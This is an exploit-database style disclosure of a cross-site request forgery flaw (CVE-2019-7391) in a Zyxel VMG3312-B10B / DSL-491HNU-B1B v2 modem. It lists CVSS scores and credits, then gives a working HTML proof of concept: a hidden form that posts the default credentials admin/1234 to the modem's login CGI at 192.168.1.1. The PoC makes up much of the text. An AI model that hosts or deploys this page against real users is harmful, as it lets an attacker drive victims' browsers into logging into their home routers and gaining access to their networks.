Zyxel VMG3312-B10B DSL-491HNU-B1 V2 Cross Site Request Forgery

2019.02.06

Credit: Yusuf Furkan

Risk: Medium

Local: No

Remote: Yes

CVE: CVE-2019-7391

CWE: CWE-352

CVSS Base Score: 6.8/10

Impact Subscore: 6.4/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

# Exploit Title: Zyxel VMG3312-B10B DSL-491HNU-B1B v2 modem CSRF Exploit
# Version: Zyxel VMG3312-B10B
# Tested on : Parrot Os
# Author: Yusuf Furkan
# Twitter: h1_yusuf
# CVE: CVE-2019-7391
# model name: DSL-491HNU-B1B v2

<html>
  <!-- CSRF PoC - generated by Yusuf -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.1.1/login/login-page.cgi" method="POST">
      <input type="hidden" name="AuthName" value="admin" />
      <input type="hidden" name="AuthPassword" value="1234" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

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